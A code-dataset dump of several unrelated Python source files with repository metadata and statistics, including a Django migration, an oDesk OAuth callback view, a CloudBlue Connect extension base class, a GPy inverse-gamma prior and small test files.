1c84ba00009c76455935ccae860cd58401928946 | 207 | py | Python | packages/nasm.py | mhutch/bockbuild | 0d989e2d0259d17d41a195f8d28b3844a4652e7b | [
"MIT"
] | null | null | null | packages/nasm.py | mhutch/bockbuild | 0d989e2d0259d17d41a195f8d28b3844a4652e7b | [
"MIT"
] | null | null | null | packages/nasm.py | mhutch/bockbuild | 0d989e2d0259d17d41a195f8d28b3844a4652e7b | [
"MIT"
] | null | null | null | class NasmPackage (Package):
def __init__ (self):
Package.__init__ (self, 'nasm', '2.10.07', sources = [
'http://www.nasm.us/pub/nasm/releasebuilds/2.10.07/nasm-%{version}.tar.xz'
])
NasmPackage ()
| 25.875 | 77 | 0.666667 | 29 | 207 | 4.482759 | 0.655172 | 0.123077 | 0.076923 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.055249 | 0.125604 | 207 | 7 | 78 | 29.571429 | 0.662983 | 0 | 0 | 0 | 0 | 0.166667 | 0.400966 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1c8966ef9744804113dd28211bc02088b98632ea | 543 | py | Python | core/migrations/0008_auto_20200212_1114.py | StateArchivesOfNorthCarolina/ratom_server | 7fc2c179f1baee85c4b95cdf64a2d5d690d2482e | [
"MIT"
] | 1 | 2020-02-24T03:47:17.000Z | 2020-02-24T03:47:17.000Z | core/migrations/0008_auto_20200212_1114.py | StateArchivesOfNorthCarolina/ratom_server | 7fc2c179f1baee85c4b95cdf64a2d5d690d2482e | [
"MIT"
] | 21 | 2020-01-20T13:29:51.000Z | 2022-03-12T00:11:12.000Z | core/migrations/0008_auto_20200212_1114.py | StateArchivesOfNorthCarolina/ratom_server | 7fc2c179f1baee85c4b95cdf64a2d5d690d2482e | [
"MIT"
] | 3 | 2020-08-27T09:20:34.000Z | 2022-01-24T06:20:14.000Z | # Generated by Django 2.2.10 on 2020-02-12 16:14
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('core', '0007_auto_20200206_0844'),
]
operations = [
migrations.RenameField(
model_name='historicalmessageaudit',
old_name='restrictions',
new_name='restriction',
),
migrations.RenameField(
model_name='messageaudit',
old_name='restrictions',
new_name='restriction',
),
]
| 22.625 | 48 | 0.587477 | 50 | 543 | 6.2 | 0.66 | 0.135484 | 0.167742 | 0.193548 | 0.23871 | 0.23871 | 0 | 0 | 0 | 0 | 0 | 0.085106 | 0.307551 | 543 | 23 | 49 | 23.608696 | 0.739362 | 0.084715 | 0 | 0.470588 | 1 | 0 | 0.216162 | 0.090909 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.058824 | 0 | 0.235294 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1c953938d67ef95a85d06372c6dca9c5424049ae | 5,348 | py | Python | connect/eaas/extension.py | bdjilka/connect-extension-runner | 7930b34dae92addb3807984fd553debc2b78ac23 | [
"Apache-2.0"
] | 5 | 2021-05-13T10:07:04.000Z | 2021-11-18T10:11:05.000Z | connect/eaas/extension.py | bdjilka/connect-extension-runner | 7930b34dae92addb3807984fd553debc2b78ac23 | [
"Apache-2.0"
] | 4 | 2021-06-08T21:14:23.000Z | 2022-03-31T08:29:52.000Z | connect/eaas/extension.py | bdjilka/connect-extension-runner | 7930b34dae92addb3807984fd553debc2b78ac23 | [
"Apache-2.0"
] | 4 | 2021-07-01T10:50:29.000Z | 2022-03-25T13:13:47.000Z | #
# This file is part of the Ingram Micro CloudBlue Connect EaaS Extension Runner.
#
# Copyright (c) 2021 Ingram Micro. All Rights Reserved.
#
import json
import pkg_resources
from connect.eaas.dataclasses import ResultType
class _Response:
def __init__(self, status):
self.status = status
class ProcessingResponse(_Response):
def __init__(self, status, countdown=30, output=None):
super().__init__(status)
self.countdown = 30 if countdown < 30 else countdown
self.output = output
@classmethod
def done(cls):
return cls(ResultType.SUCCESS)
@classmethod
def skip(cls, output=None):
return cls(ResultType.SKIP, output=output)
@classmethod
def reschedule(cls, countdown=30):
return cls(ResultType.RESCHEDULE, countdown=countdown)
@classmethod
def slow_process_reschedule(cls, countdown=300):
return cls(
ResultType.RESCHEDULE,
countdown=300 if countdown < 300 else countdown,
)
@classmethod
def fail(cls, output=None):
return cls(ResultType.FAIL, output=output)
class ValidationResponse(_Response):
def __init__(self, status, data, output=None):
super().__init__(status)
self.data = data
self.output = output
@classmethod
def done(cls, data):
return cls(ResultType.SUCCESS, data)
@classmethod
def fail(cls, data=None, output=None):
return cls(ResultType.FAIL, data=data, output=output)
class _InteractiveTaskResponse(_Response):
def __init__(self, status, http_status, headers, body, output):
super().__init__(status)
self.http_status = http_status
self.headers = headers
self.body = body
self.output = output
@property
def data(self):
return {
'http_status': self.http_status,
'headers': self.headers,
'body': self.body,
}
@classmethod
def done(cls, http_status=200, headers=None, body=None):
return cls(ResultType.SUCCESS, http_status, headers, body, None)
@classmethod
def fail(cls, http_status=400, headers=None, body=None, output=None):
return cls(ResultType.FAIL, http_status, headers, body, output)
class CustomEventResponse(_InteractiveTaskResponse):
pass
class ProductActionResponse(_InteractiveTaskResponse):
pass
class ScheduledExecutionResponse(_Response):
def __init__(self, status, output=None):
super().__init__(status)
self.output = output
@classmethod
def done(cls):
return cls(ResultType.SUCCESS)
@classmethod
def fail(cls, output=None):
return cls(ResultType.FAIL, output=output)
class Extension:
def __init__(self, client, logger, config):
self.client = client
self.logger = logger
self.config = config
@classmethod
def get_descriptor(cls): # pragma: no cover
return json.load(
pkg_resources.resource_stream(
cls.__module__,
'extension.json',
),
)
def process_asset_purchase_request(self, request): # pragma: no cover
raise NotImplementedError()
def process_asset_change_request(self, request): # pragma: no cover
raise NotImplementedError()
def process_asset_suspend_request(self, request): # pragma: no cover
raise NotImplementedError()
def process_asset_resume_request(self, request): # pragma: no cover
raise NotImplementedError()
def process_asset_cancel_request(self, request): # pragma: no cover
raise NotImplementedError()
def process_asset_adjustment_request(self, request): # pragma: no cover
raise NotImplementedError()
def validate_asset_purchase_request(self, request): # pragma: no cover
raise NotImplementedError()
def validate_asset_change_request(self, request): # pragma: no cover
raise NotImplementedError()
def process_tier_config_setup_request(self, request): # pragma: no cover
raise NotImplementedError()
def process_tier_config_change_request(self, request): # pragma: no cover
raise NotImplementedError()
def process_tier_config_adjustment_request(self, request): # pragma: no cover
raise NotImplementedError()
def validate_tier_config_setup_request(self, request): # pragma: no cover
raise NotImplementedError()
def validate_tier_config_change_request(self, request): # pragma: no cover
raise NotImplementedError()
def execute_product_action(self, request): # pragma: no cover
raise NotImplementedError()
def process_product_custom_event(self, request): # pragma: no cover
raise NotImplementedError()
def process_new_listing_request(self, request): # pragma: no cover
raise NotImplementedError()
def process_remove_listing_request(self, request): # pragma: no cover
raise NotImplementedError()
def process_tier_account_update_request(self, request): # pragma: no cover
raise NotImplementedError()
def process_usage_file(self, request): # pragma: no cover
raise NotImplementedError()
def process_usage_chunk_file(self, request): # pragma: no cover
raise NotImplementedError()
| 28.752688 | 82 | 0.680441 | 584 | 5,348 | 6.006849 | 0.172945 | 0.047891 | 0.077822 | 0.108324 | 0.632269 | 0.559578 | 0.526796 | 0.495154 | 0.47919 | 0.446123 | 0 | 0.006605 | 0.235602 | 5,348 | 185 | 83 | 28.908108 | 0.851517 | 0.091436 | 0 | 0.393701 | 0 | 0 | 0.00745 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.307087 | false | 0.015748 | 0.023622 | 0.102362 | 0.496063 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
98cebd1857b8b0e07f4dfa19a068d91fa7a54035 | 374 | py | Python | tests/test_screener.py | ericwbzhang/yahooquery | a30cc310bf5eb4b5ce5eadeafe51d589995ea9fd | [
"MIT"
] | 417 | 2019-12-20T05:19:29.000Z | 2022-03-31T16:15:54.000Z | tests/test_screener.py | ericwbzhang/yahooquery | a30cc310bf5eb4b5ce5eadeafe51d589995ea9fd | [
"MIT"
] | 93 | 2020-01-09T03:23:58.000Z | 2022-03-27T05:02:15.000Z | tests/test_screener.py | ericwbzhang/yahooquery | a30cc310bf5eb4b5ce5eadeafe51d589995ea9fd | [
"MIT"
] | 89 | 2020-03-23T02:18:30.000Z | 2022-03-07T21:58:14.000Z | import pytest
from yahooquery import Screener
def test_screener():
s = Screener()
assert s.get_screeners("most_actives") is not None
def test_available_screeners():
s = Screener()
assert s.available_screeners is not None
def test_bad_screener():
with pytest.raises(ValueError):
s = Screener()
assert s.get_screeners("most_active")
| 18.7 | 54 | 0.703209 | 49 | 374 | 5.163265 | 0.44898 | 0.083004 | 0.177866 | 0.189723 | 0.379447 | 0.252964 | 0.252964 | 0 | 0 | 0 | 0 | 0 | 0.208556 | 374 | 19 | 55 | 19.684211 | 0.85473 | 0 | 0 | 0.25 | 0 | 0 | 0.061497 | 0 | 0 | 0 | 0 | 0 | 0.25 | 1 | 0.25 | false | 0 | 0.166667 | 0 | 0.416667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
98d38374272bc72a12de43609ee82724a2b600a0 | 128 | py | Python | python_100/Level1/30.set_use.py | relax-space/python-cy | eaf4650756e7ece5ec97894b65a7495b5c964eb3 | [
"Apache-2.0"
] | 1 | 2020-04-27T03:31:23.000Z | 2020-04-27T03:31:23.000Z | python_100/Level1/30.set_use.py | relax-space/python-cy | eaf4650756e7ece5ec97894b65a7495b5c964eb3 | [
"Apache-2.0"
] | 1 | 2020-04-14T23:55:19.000Z | 2020-04-15T03:29:37.000Z | python_100/Level1/30.set_use.py | relax-space/python-cy | eaf4650756e7ece5ec97894b65a7495b5c964eb3 | [
"Apache-2.0"
] | null | null | null | # 30.python代码实现删除一个list里面的重复元素
a = [1,2,3,4,5,6,5,4,3,2,0]
b = list(set(a))
print(b)
# 或者可以考虑创建一个新的 空列表，然后遍历原列表，不在新列表中的进行append | 21.333333 | 42 | 0.710938 | 24 | 128 | 3.791667 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.112069 | 0.09375 | 128 | 6 | 42 | 21.333333 | 0.672414 | 0.539063 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
98da3ca6e4d6c98538d484778108b91496caf3be | 2,556 | py | Python | django_odesk/auth/views.py | solex/django-odesk | c545e320d3cab51b7c81121234ebd62918eec0ac | [
"BSD-3-Clause"
] | null | null | null | django_odesk/auth/views.py | solex/django-odesk | c545e320d3cab51b7c81121234ebd62918eec0ac | [
"BSD-3-Clause"
] | 1 | 2020-02-21T16:05:04.000Z | 2020-02-21T16:05:04.000Z | django_odesk/auth/views.py | solex/django-odesk | c545e320d3cab51b7c81121234ebd62918eec0ac | [
"BSD-3-Clause"
] | 1 | 2019-09-01T09:25:16.000Z | 2019-09-01T09:25:16.000Z | import logging
import datetime
from django.http import HttpResponseRedirect
from django.contrib.auth import authenticate as django_authenticate
from django.contrib.auth import login, REDIRECT_FIELD_NAME
from django_odesk.core.clients import DefaultClient
from django_odesk.auth import ODESK_REDIRECT_SESSION_KEY, \
ODESK_TOKEN_SESSION_KEY, \
ENCRYPTION_KEY_NAME
from django_odesk.conf import settings
from encrypt import encrypt_token
def authenticate(request):
redirect_to = request.REQUEST.get(REDIRECT_FIELD_NAME, '')
request.session[ODESK_REDIRECT_SESSION_KEY] = redirect_to
odesk_client = DefaultClient()
return HttpResponseRedirect(odesk_client.auth.auth_url())
def callback(request, redirect_url=None):
odesk_client = DefaultClient()
frob = request.GET.get('frob', None)
if frob:
try:
token, auth_user = odesk_client.auth.get_token(frob)
except Exception, exc:
msg = "get_token(%(frob)r) failed with %(exc)s" % {
'frob': frob,
'exc': exc,
'req': request,
}
logging.error(msg)
return HttpResponseRedirect(redirect_url or '/')
if not settings.ODESK_AUTH_ONLY:
if settings.ODESK_ENCRYPT_API_TOKEN:
encryption_key, encrypted_token = encrypt_token(token)
put_in_session = encrypted_token
else:
put_in_session = token
request.session[ODESK_TOKEN_SESSION_KEY] = put_in_session
#TODO: Get rid of (conceptually correct) additional request to odesk.com
user = django_authenticate(token = token)
if user:
login(request, user)
else:
pass
#Probably the odesk auth backend is missing. Should we raise an error?
redirect_url = request.session.pop(ODESK_REDIRECT_SESSION_KEY,
redirect_url)
response = HttpResponseRedirect(redirect_url or '/')
if not settings.ODESK_AUTH_ONLY and settings.ODESK_ENCRYPT_API_TOKEN:
expires = datetime.timedelta(hours = 2) + datetime.datetime.utcnow() # this is for Django 1.3
# string conversion for django 1.2 somehow doesn't work either, so I use max_age
response.set_cookie(ENCRYPTION_KEY_NAME, encryption_key, expires = expires, max_age = 60*60*2)
return response
else:
return HttpResponseRedirect(odesk_client.auth.auth_url())
| 41.901639 | 106 | 0.656103 | 299 | 2,556 | 5.374582 | 0.337793 | 0.037337 | 0.028002 | 0.042937 | 0.240199 | 0.133167 | 0.133167 | 0.073429 | 0.073429 | 0.073429 | 0 | 0.005391 | 0.274257 | 2,556 | 60 | 107 | 42.6 | 0.860916 | 0.094679 | 0 | 0.137255 | 0 | 0 | 0.02382 | 0 | 0 | 0 | 0 | 0.016667 | 0 | 0 | null | null | 0.019608 | 0.176471 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
98e08f2b7673c3df79e57cd8d8106c9bcb338cb4 | 314 | py | Python | mess/funcs.py | alexandershov/mess | 7b0d956c1fd39cca2e4adcd5dc35952ec3ed3fd5 | [
"MIT"
] | null | null | null | mess/funcs.py | alexandershov/mess | 7b0d956c1fd39cca2e4adcd5dc35952ec3ed3fd5 | [
"MIT"
] | null | null | null | mess/funcs.py | alexandershov/mess | 7b0d956c1fd39cca2e4adcd5dc35952ec3ed3fd5 | [
"MIT"
] | null | null | null | import operator
# TODO: allow to pass extra args: e.g call.count.args('a')
class _Call(object):
def __getattr__(self, method_name):
"""
Return a callable object that calls the specified method name on its operand.
"""
return operator.methodcaller(method_name)
call = _Call() | 24.153846 | 85 | 0.665605 | 42 | 314 | 4.785714 | 0.714286 | 0.149254 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.238854 | 314 | 13 | 86 | 24.153846 | 0.841004 | 0.429936 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.076923 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
98e7886c9db47902d44f403f461cb4396a518864 | 460 | py | Python | spaCY_examples/entity_recognition.py | mark-watson/cognitive-computing-book | d097e049a8ce6392dd338f88d48b5d07e26f1489 | [
"Apache-2.0"
] | 10 | 2016-05-14T21:58:21.000Z | 2021-05-27T17:55:52.000Z | spaCY_examples/entity_recognition.py | mark-watson/cognitive-computing-book | d097e049a8ce6392dd338f88d48b5d07e26f1489 | [
"Apache-2.0"
] | null | null | null | spaCY_examples/entity_recognition.py | mark-watson/cognitive-computing-book | d097e049a8ce6392dd338f88d48b5d07e26f1489 | [
"Apache-2.0"
] | 5 | 2017-11-02T00:34:38.000Z | 2021-06-01T10:50:27.000Z | import spacy
nlp = spacy.load('en')
doc = nlp(u'President Trump has a dispute with Mexico over immigration. IBM and Apple are cooperating on marketing in 2014. Pepsi and Coke sell well to Asian and South American customers. He bought a Ford Escort for $20,000 and drove to the lake for the weekend. The parade was last Saturday.')
for entity in doc.ents:
print("label: {}\tlabel_: {}\ttext: {}".format(
entity.label,entity.label_,entity.text))
| 65.714286 | 294 | 0.730435 | 75 | 460 | 4.453333 | 0.76 | 0.065868 | 0.101796 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.023747 | 0.176087 | 460 | 6 | 295 | 76.666667 | 0.85752 | 0 | 0 | 0 | 0 | 0.166667 | 0.680435 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.166667 | 0.166667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
98f134deb05bf88654d179028ccf44b60c37fa62 | 1,232 | py | Python | libactors/actor/messages.py | DanielSolomon/libactors | b4e7147ccb3cee2e52bac7cefc65a51a549d5dd7 | [
"MIT"
] | 1 | 2021-10-03T19:33:33.000Z | 2021-10-03T19:33:33.000Z | libactors/actor/messages.py | DanielSolomon/libactors | b4e7147ccb3cee2e52bac7cefc65a51a549d5dd7 | [
"MIT"
] | null | null | null | libactors/actor/messages.py | DanielSolomon/libactors | b4e7147ccb3cee2e52bac7cefc65a51a549d5dd7 | [
"MIT"
] | null | null | null | import dataclasses
from typing import Any
from ..message import (
Message,
)
@dataclasses.dataclass(frozen=True)
class ActletDoneMessage(Message):
"""Framework-level message sent internally when Actlet execution ends
"""
result: Any
@dataclasses.dataclass(frozen=True)
class TimerConfiguration(Message):
"""Timer configuration.
Args:
message (libactors.Message): Message to send when time is up.
interval (float): Timer countdown interval in seconds.
delay (float): Timer delay before starting first countdown in seconds.
now (bool): Whether or not send `message` before starting countdown.
repetitions (int): How many cycles of the timer (0 represents infinite).
"""
message: Message
interval: float
delay: float
now: bool
repetitions: int
@dataclasses.dataclass(frozen=True)
class TimerDoneMessage(Message):
"""In case that the timer was configured with finite repetitions.
This message will be sent to the created actor, indicating the timer has finished its job.
"""
pass
@dataclasses.dataclass(frozen=True)
class ShutdownMessage(Message):
"""Shutdown message to request an actor to turn off.
"""
pass
| 26.212766 | 94 | 0.707792 | 147 | 1,232 | 5.931973 | 0.530612 | 0.091743 | 0.119266 | 0.137615 | 0.16055 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00103 | 0.211851 | 1,232 | 46 | 95 | 26.782609 | 0.897013 | 0.534091 | 0 | 0.285714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.095238 | 0.142857 | 0 | 0.619048 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
98f1f23e9a762f6c92869b93dada4592ac5e358a | 149 | py | Python | src/py/util/nth.py | cgnik/euler | fe70459a0e0d0272980300a4782872f2e545fea5 | [
"MIT"
] | null | null | null | src/py/util/nth.py | cgnik/euler | fe70459a0e0d0272980300a4782872f2e545fea5 | [
"MIT"
] | null | null | null | src/py/util/nth.py | cgnik/euler | fe70459a0e0d0272980300a4782872f2e545fea5 | [
"MIT"
] | null | null | null | def nth(test, items):
if test > 0:
test -= 1
else:
test = 0
for i, v in enumerate(items):
if i == test: return v
| 18.625 | 33 | 0.47651 | 23 | 149 | 3.086957 | 0.608696 | 0.197183 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.034091 | 0.409396 | 149 | 7 | 34 | 21.285714 | 0.772727 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0 | 0 | 0.142857 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
98f30ebf87d5c5691a0defa8d25f27381495a27d | 1,321 | py | Python | tests/experimental_tests/links_tests/model_tests/pspnet_tests/test_convolution_crop.py | souravsingh/chainercv | 8f76510472bc95018c183e72f37bc6c34a89969c | [
"MIT"
] | 1,600 | 2017-06-01T15:37:52.000Z | 2022-03-09T08:39:09.000Z | tests/experimental_tests/links_tests/model_tests/pspnet_tests/test_convolution_crop.py | souravsingh/chainercv | 8f76510472bc95018c183e72f37bc6c34a89969c | [
"MIT"
] | 547 | 2017-06-01T06:43:16.000Z | 2021-05-28T17:14:05.000Z | tests/experimental_tests/links_tests/model_tests/pspnet_tests/test_convolution_crop.py | souravsingh/chainercv | 8f76510472bc95018c183e72f37bc6c34a89969c | [
"MIT"
] | 376 | 2017-06-02T01:29:10.000Z | 2022-03-13T11:19:59.000Z | import numpy as np
import unittest
from chainer import testing
from chainercv.experimental.links.model.pspnet import convolution_crop
class TestConvolutionCrop(unittest.TestCase):
def test_convolution_crop(self):
size = (8, 6)
stride = (8, 6)
n_channel = 3
img = np.random.uniform(size=(n_channel, 16, 12)).astype(np.float32)
crop_imgs, param = convolution_crop(
img, size, stride, return_param=True)
self.assertEqual(crop_imgs.shape, (4, n_channel) + size)
self.assertEqual(crop_imgs.dtype, np.float32)
for y in range(2):
for x in range(2):
self.assertEqual(param['y_slices'][2 * y + x].start, 8 * y)
self.assertEqual(
param['y_slices'][2 * y + x].stop, 8 * (y + 1))
self.assertEqual(param['x_slices'][2 * y + x].start, 6 * x)
self.assertEqual(
param['x_slices'][2 * y + x].stop, 6 * (x + 1))
for i in range(4):
self.assertEqual(param['crop_y_slices'][i].start, 0)
self.assertEqual(param['crop_y_slices'][i].stop, 8)
self.assertEqual(param['crop_x_slices'][i].start, 0)
self.assertEqual(param['crop_x_slices'][i].stop, 6)
testing.run_module(__name__, __file__)
| 36.694444 | 76 | 0.588191 | 178 | 1,321 | 4.185393 | 0.331461 | 0.201342 | 0.214765 | 0.048322 | 0.373154 | 0.348993 | 0.348993 | 0.260403 | 0 | 0 | 0 | 0.032529 | 0.278577 | 1,321 | 35 | 77 | 37.742857 | 0.749213 | 0 | 0 | 0.071429 | 0 | 0 | 0.063588 | 0 | 0 | 0 | 0 | 0 | 0.357143 | 1 | 0.035714 | false | 0 | 0.142857 | 0 | 0.214286 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
98f8d3b0b34f59c641d19c37d7c30c9f634f2000 | 2,102 | py | Python | PyStationB/libraries/ABEX/abex/gpy/priors.py | BrunoKM/station-b-libraries | ea3591837e4a33f0bef789d905467754c27913b3 | [
"MIT"
] | 6 | 2021-09-29T15:46:55.000Z | 2021-12-14T18:39:51.000Z | PyStationB/libraries/ABEX/abex/gpy/priors.py | BrunoKM/station-b-libraries | ea3591837e4a33f0bef789d905467754c27913b3 | [
"MIT"
] | null | null | null | PyStationB/libraries/ABEX/abex/gpy/priors.py | BrunoKM/station-b-libraries | ea3591837e4a33f0bef789d905467754c27913b3 | [
"MIT"
] | 3 | 2021-09-27T10:35:20.000Z | 2021-10-02T17:53:07.000Z | # -------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License (MIT). See LICENSE in the repo root for license information.
# -------------------------------------------------------------------------------------------
"""Extensions of the priors specified in GPy"""
from typing import Sequence, Union
import GPy.core.parameterization.priors as priors
import numpy as np
from psbutils.arrayshapes import Shapes
class InverseGamma(priors.Gamma): # pragma: no cover
"""
Implementation of the inverse-Gamma probability function, coupled with random variables.
This is a fix for the GPy.priors.InverseGamma implementation, which doesn't work since 2016:
https://github.com/SheffieldML/GPy/issues/502
:param a: shape parameter
:param b: rate parameter (warning: it's the *inverse* of the scale)
.. Note:: Bishop 2006 notation is used throughout the code
"""
domain = priors._POSITIVE
def __init__(self, a, b):
self._a = float(a)
self._b = float(b)
self.constant = -priors.gammaln(self.a) + a * np.log(b)
def __str__(self):
"""Return a string description of the prior."""
return "iGa({:.2g}, {:.2g})".format(self.a, self.b)
def lnpdf(self, x: np.ndarray) -> np.ndarray:
"""Return the log probability density function evaluated at x."""
return Shapes(x, "X")(self.constant - (self.a + 1) * np.log(x) - self.b / x, "X")[-1] # type: ignore # auto
def lnpdf_grad(self, x: np.ndarray) -> np.ndarray:
"""Return the gradient of the log probability density function evaluated at x."""
return Shapes(x, "X")(-(self.a + 1.0) / x + self.b / x ** 2, "X")[-1] # type: ignore # auto
def rvs(self, n: Union[int, Sequence[int], np.ndarray]) -> np.ndarray:
"""Return samples from this prior of shape n."""
result = Shapes(1.0 / np.random.gamma(scale=1.0 / self.b, shape=self.a, size=n), f"{n}")[-1]
return result # type: ignore # auto
| 43.791667 | 116 | 0.592769 | 282 | 2,102 | 4.375887 | 0.425532 | 0.028363 | 0.026742 | 0.04376 | 0.200162 | 0.180713 | 0.149919 | 0.149919 | 0.100486 | 0.100486 | 0 | 0.01421 | 0.19648 | 2,102 | 47 | 117 | 44.723404 | 0.7164 | 0.501427 | 0 | 0 | 0 | 0 | 0.026612 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.263158 | false | 0 | 0.210526 | 0 | 0.789474 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
98fa52edadc2babf106b7224c5ba7e835ffc6d6d | 302 | py | Python | gallery/admin.py | OjureFred/WebView-Gallery | 7e08ffc02a3d6ae173b651997db882a6a44db713 | [
"MIT"
] | null | null | null | gallery/admin.py | OjureFred/WebView-Gallery | 7e08ffc02a3d6ae173b651997db882a6a44db713 | [
"MIT"
] | 7 | 2021-03-30T14:13:40.000Z | 2021-09-22T19:33:23.000Z | gallery/admin.py | OjureFred/WebView-Gallery | 7e08ffc02a3d6ae173b651997db882a6a44db713 | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import Gallery, Location, categories
# Register your models here.
class GalleryAdmin(admin.ModelAdmin):
filter_horizontal = ('categories',)
admin.site.register(Gallery, GalleryAdmin)
admin.site.register(Location)
admin.site.register(categories)
| 25.166667 | 49 | 0.788079 | 35 | 302 | 6.771429 | 0.514286 | 0.113924 | 0.21519 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.115894 | 302 | 11 | 50 | 27.454545 | 0.88764 | 0.086093 | 0 | 0 | 0 | 0 | 0.036496 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.285714 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
c70f42303c894e415686dec261653e184b61ace7 | 2,108 | py | Python | jsonlog_cli/colours.py | borntyping/legere | df26b01bb922b88c6674299ffe5ce62df226bddd | [
"MIT"
] | 1 | 2019-09-25T07:59:39.000Z | 2019-09-25T07:59:39.000Z | jsonlog_cli/colours.py | borntyping/legere | df26b01bb922b88c6674299ffe5ce62df226bddd | [
"MIT"
] | 3 | 2020-03-24T17:28:20.000Z | 2020-10-01T09:40:26.000Z | jsonlog_cli/colours.py | borntyping/jsonlog-cli | df26b01bb922b88c6674299ffe5ce62df226bddd | [
"MIT"
] | null | null | null | from __future__ import annotations
